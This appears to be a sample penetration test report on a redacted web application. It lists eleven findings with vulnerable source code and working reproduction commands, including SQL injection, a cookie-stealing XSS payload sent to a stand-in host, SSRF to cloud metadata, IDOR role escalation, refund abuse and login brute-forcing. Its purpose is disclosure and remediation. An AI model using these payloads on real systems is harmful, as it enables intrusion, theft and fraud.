← Back to TOUGH LOVE SECURITY

Penetration Test Report

Client: REDACTED CLIENT
Target: https://app.████████.com
Assessment Type: Full Pentest — White-Box + Black-Box
Engagement ID: RDL-2026-0047
Testing Period: March 10–11, 2026
Report Version: 1.1 Final
Classification: CONFIDENTIAL
SAMPLE REPORT

Document Control

VersionDateAuthorReviewerStatus
1.02026-03-11Lead TesterSr. EngineerDraft
1.12026-03-12Lead TesterSr. EngineerFinal

Distribution: ████████ Security Team, CTO, CISO

Disclaimer: This assessment was conducted under written authorization from ████████ per the signed Rules of Engagement dated March 8, 2026. Testing was limited to the agreed scope. Findings represent the state of the application at the time of testing and may not reflect subsequent changes. TOUGH LOVE SECURITY carries professional liability insurance. This report is confidential and intended solely for the authorized recipients listed above.

Table of Contents

1. Executive Summary 2. Scope & Methodology 3. Positive Observations 4. Detailed Findings (11) 5. Network & Infrastructure 6. Finding Summary 7. Remediation Priority 8. Retest & Next Steps

1. Executive Summary

TOUGH LOVE SECURITY conducted a penetration test of ████████'s web application and REST API between March 10–11, 2026. The assessment used AI-accelerated analysis across 13 autonomous agents covering source code review, active exploitation, and browser-based testing, with all findings verified by a senior security engineer before inclusion in this report.

The assessment identified 11 vulnerabilities:

SeverityCountKey Findings
CRITICAL3SQL injection (unauthenticated), predictable session tokens, IDOR with admin takeover
HIGH3Stored XSS, SSRF to cloud metadata, business logic flaw in payment
MEDIUM4CORS misconfiguration, CSRF, missing rate limiting, verbose errors
LOW1Missing cookie security flags

The most impactful finding chain: an unauthenticated attacker can extract the full user database via SQL injection (RDL-001), compute any user's session token due to predictable generation (RDL-002), and escalate to admin via IDOR (RDL-004). This chain enables complete application compromise without credentials.

2. Scope & Methodology

Targets

Exclusions

Methodology

The assessment used TOUGH LOVE SECURITY's 5-phase pipeline with OWASP Testing Guide v4.2 alignment:

PhaseApproachDuration
1. Pre-ReconSource code analysis, nmap, subfinder, whatweb~25 min
2. ReconPlaywright browser automation, API mapping~35 min
3. Vuln Analysis5 parallel agents: injection, XSS, auth, authz, SSRF~90 min
4. ExploitationConditional PoC for confirmed findings~45 min
5. Report + ReviewAI compilation, human verification, remediation~4 hrs

Risk Rating

Findings are scored using CVSS v3.1. Severity tiers: Critical (9.0–10.0), High (7.0–8.9), Medium (4.0–6.9), Low (0.1–3.9).

Tools

nmap 7.99, sqlmap 1.10.3, Playwright (Chromium 124), subfinder 2.13, whatweb 0.5.5, custom AI payload generation

3. Positive Observations

What Was Done Well

4. Detailed Findings

RDL-001: SQL Injection — User Search Endpoint
GET /api/v2/users/search?q= | OWASP A03:2021
CRITICAL
CVSS 9.8

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

The search endpoint passes user input through stripHtml() which removes HTML tags but does not escape SQL metacharacters. The sanitized value is then interpolated directly into a SQL query string.

Source Code

// src/controllers/userController.js:47
const searchUsers = async (req, res) => {
  const query = stripHtml(req.query.q);
  const results = await db.query(
    `SELECT id, name, email FROM users WHERE name LIKE '%${query}%'`
  );
  return res.json(results);
};

Reproduction

# Confirm injection — returns all 12,847 users
curl "https://app.████████.com/api/v2/users/search?q=test'%20OR%201=1--"
# HTTP/2 200 | Body: [{"id":1,"name":"Admin",...}, ... 12847 records]

# Extract database version
curl "https://app.████████.com/api/v2/users/search?q=test'%20UNION%20SELECT%20NULL,version(),NULL--"
# Response body: [{"name":"PostgreSQL 15.4 on x86_64-pc-linux-gnu"}]

# Full extraction via sqlmap
sqlmap -u "https://app.████████.com/api/v2/users/search?q=test" -p q \
  --dbms=postgresql --tables --batch
# [12 tables found: users, sessions, orders, payments, ...]

Impact

Unauthenticated full database extraction including password hashes (bcrypt — slow to crack but still a breach), emails, roles, payment references. GDPR/breach notification obligation triggered.

Remediation

RDL-002: Predictable Session Token Generation
POST /api/v2/auth/login | OWASP A07:2021
CRITICAL
CVSS 9.1

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

Session tokens are generated deterministically from the user's email concatenated with a hardcoded secret, then MD5-hashed. Any attacker who knows a user's email can compute their token offline without authentication.

Source Code

// src/services/authService.js:23
function generateSessionToken(email) {
  const seed = email + 'APP_SECRET_2024';
  return crypto.createHash('md5').update(seed).digest('hex');
}

Reproduction

# Compute admin token offline
echo -n "admin@████████.comAPP_SECRET_2024" | md5sum
# 8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b

# Access admin dashboard without login
curl -H "Cookie: session=8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b" \
  https://app.████████.com/api/v2/admin/dashboard
# HTTP/2 200 | {"users_count":12847,"revenue":"$2.4M","pending_orders":342}

Impact

Any user's session can be hijacked knowing only their email. Combined with user enumeration via RDL-001, all accounts are compromisable.

Remediation

RDL-003: Stored XSS via Comment Rendering
POST /api/v2/comments | OWASP A03:2021
HIGH
CVSS 7.5

Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Description

Comment bodies are stored unsanitized. The React frontend renders them via dangerouslySetInnerHTML, executing attacker-controlled JavaScript in every viewer's browser. The existing CSP includes unsafe-inline, failing to block this vector.

Reproduction

curl -X POST https://app.████████.com/api/v2/comments \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"body":"<img src=x onerror=fetch(`https://rdl.example/c=`+document.cookie)>"}'
# HTTP/2 201 | Payload stored

# Victim navigates to comment thread:
# GET /comments/thread/482 → browser executes onerror → cookie exfiltrated
# Received at attacker endpoint: session=7b3f8e2a...

Impact

Persistent JavaScript execution in any visitor's browser. Enables session theft, keylogging, phishing overlays, and worm-like self-propagation across comment threads.

Remediation

RDL-004: IDOR — User Profile API Allows Admin Takeover
PUT /api/v2/users/:id/profile | OWASP A01:2021
CRITICAL
CVSS 8.6

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

The profile update endpoint accepts a user ID in the URL path but does not verify the authenticated user owns that profile. Any authenticated user can modify any other user's profile, including the role field.

Reproduction

# Authenticated as user ID 847 (regular user)
# Modify admin user (ID 1) role
curl -X PUT https://app.████████.com/api/v2/users/1/profile \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"role":"user"}'
# HTTP/2 200 | Admin demoted

# Elevate own account to admin
curl -X PUT https://app.████████.com/api/v2/users/847/profile \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"role":"admin"}'
# HTTP/2 200 | Now admin

Impact

Any authenticated user can grant themselves admin privileges, demote other admins, modify any user's email/name/role. Full authorization bypass.

Remediation

RDL-005: SSRF via Webhook URL — Cloud Metadata Access
POST /api/v2/integrations/webhook | OWASP A10:2021
HIGH
CVSS 7.2

Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Description

The webhook configuration endpoint fetches a user-provided URL server-side to validate connectivity. No URL allowlisting or internal IP blocking is enforced.

Reproduction

curl -X POST https://app.████████.com/api/v2/integrations/webhook \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# HTTP/2 200 | {"response":"ec2-metadata-role"}

# Retrieve temporary AWS credentials
curl -X POST ... -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-metadata-role"}'
# HTTP/2 200 | {"AccessKeyId":"AKIA...","SecretAccessKey":"..."}

Impact

AWS IAM temporary credentials exfiltrated. Depending on role permissions, this could enable S3 bucket access, RDS access, or lateral movement within the AWS account.

Remediation

RDL-006: Business Logic Flaw — Negative Quantity in Cart
POST /api/v2/cart/items | OWASP A04:2021
HIGH
CVSS 7.4

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Description

The cart API accepts negative quantities. Adding an item with quantity: -5 creates a credit on the order total. By mixing positive and negative quantities, an attacker can produce orders with a total of $0.00 or receive a refund credit exceeding their payment.

Reproduction

# Add expensive item with negative quantity
curl -X POST https://app.████████.com/api/v2/cart/items \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"product_id":42,"quantity":-3}'
# HTTP/2 200 | Cart total: -$299.97

# Add cheap item with positive quantity
curl -X POST ... -d '{"product_id":101,"quantity":1}'
# HTTP/2 200 | Cart total: -$290.98

# Checkout — payment processor issues $290.98 refund to attacker
curl -X POST https://app.████████.com/api/v2/checkout \
  -H "Cookie: session=████"
# HTTP/2 200 | {"order_id":8847,"total":-290.98,"status":"refund_pending"}

Impact

Direct financial loss. Attackers can generate unlimited refund credits. This bypasses payment validation entirely.

Remediation

RDL-007: CORS Allows Arbitrary Origins
All API endpoints | OWASP A05:2021
MEDIUM
CVSS 6.1

Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Description

The API reflects the Origin header in Access-Control-Allow-Origin with credentials: true, allowing any website to make authenticated cross-origin requests.

Reproduction

curl -H "Origin: https://evil.com" -I https://api.████████.com/v2/users/me
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Impact

Attacker-controlled websites can read authenticated API responses, exfiltrate user data, and perform actions on behalf of the victim.

Remediation

RDL-008: CSRF on Account Settings
PUT /api/v2/users/me/settings | OWASP A01:2021
MEDIUM
CVSS 5.4

Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Description

Account settings endpoint accepts state-changing PUT requests without CSRF token validation. Combined with the CORS misconfiguration (RDL-007), an attacker's website can silently modify a victim's notification preferences, email, or connected integrations.

Remediation

RDL-009: No Rate Limiting on Authentication
POST /api/v2/auth/login | OWASP A07:2021
MEDIUM
CVSS 5.3

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

The login endpoint accepts unlimited authentication attempts with no rate limiting, CAPTCHA, or account lockout. Enables brute-force and credential stuffing attacks.

Reproduction

# 1000 login attempts in 60 seconds — no blocking
for i in $(seq 1 1000); do
  curl -s -o /dev/null -w "%{http_code}" -X POST \
    https://app.████████.com/api/v2/auth/login \
    -d '{"email":"admin@████████.com","password":"attempt'$i'"}'
done
# All return 401 — no 429, no lockout, no delay

Remediation

RDL-010: Verbose Error Messages Expose Internals
All error responses | OWASP A05:2021
MEDIUM
CVSS 5.0

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

Error responses include full stack traces with file paths, line numbers, database query fragments, and Node.js version. This aids attacker reconnaissance significantly.

Reproduction

curl https://app.████████.com/api/v2/users/invalid
# HTTP/2 500 | {"error":"SequelizeDatabaseError","sql":"SELECT * FROM users WHERE id = 'invalid'",
#   "stack":"at Query.run (/app/node_modules/sequelize/lib/dialects/postgres/query.js:76:25)\n..."}

Remediation

RDL-011: Missing Secure Cookie Flags
All Set-Cookie headers | OWASP A05:2021
LOW
CVSS 3.7

Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Description

Session cookie is set without HttpOnly, Secure, or SameSite attributes. This enables JavaScript access (exploited in RDL-003), transmission over HTTP, and cross-site attachment.

Reproduction

curl -v https://app.████████.com/api/v2/auth/login -d '...' 2>&1 | grep Set-Cookie
# Set-Cookie: session=7b3f8e2a...; Path=/
# Missing: HttpOnly, Secure, SameSite

Remediation

5. Network & Infrastructure

nmap scan of ████████.com (external):

PortServiceVersionStatus
22/tcpSSHOpenSSH 9.3Filtered (ACL — good)
80/tcpHTTPnginx 1.25.3Open — redirects to 443
443/tcpHTTPSnginx 1.25.3 + TLS 1.3Open
5432/tcpPostgreSQLFiltered (not exposed — good)

Assessment: External attack surface is minimal. SSH filtered, database not exposed, HTTP redirects to HTTPS. No additional exposed services detected across full port range (1-65535). Infrastructure posture is solid.

6. Finding Summary

IDFindingCategorySeverityCVSSStatus
RDL-001SQL Injection — User SearchInjectionCRIT9.8Exploited
RDL-002Predictable Session TokensCrypto FailureCRIT9.1Exploited
RDL-003Stored XSS — CommentsInjectionHIGH7.5Exploited
RDL-004IDOR — User Profile APIAccess ControlCRIT8.6Exploited
RDL-005SSRF — Webhook to MetadataSSRFHIGH7.2Exploited
RDL-006Negative Cart QuantityBusiness LogicHIGH7.4Exploited
RDL-007CORS MisconfigurationMisconfigMED6.1Confirmed
RDL-008CSRF on SettingsAccess ControlMED5.4Confirmed
RDL-009No Rate Limiting — LoginAuthMED5.3Confirmed
RDL-010Verbose Error MessagesMisconfigMED5.0Confirmed
RDL-011Missing Cookie FlagsMisconfigLOW3.7Confirmed

7. Remediation Priority

Immediate — within 24 hours

Short-term — within 1 week

Medium-term — within 1 month

8. Retest & Next Steps

TOUGH LOVE SECURITY offers a complimentary retest within 30 days of remediation to verify all findings have been properly addressed. To schedule:

For ongoing protection, consider a Quarterly engagement ($7,500/quarter) which includes 3 full assessments per quarter with unlimited retests and trend tracking.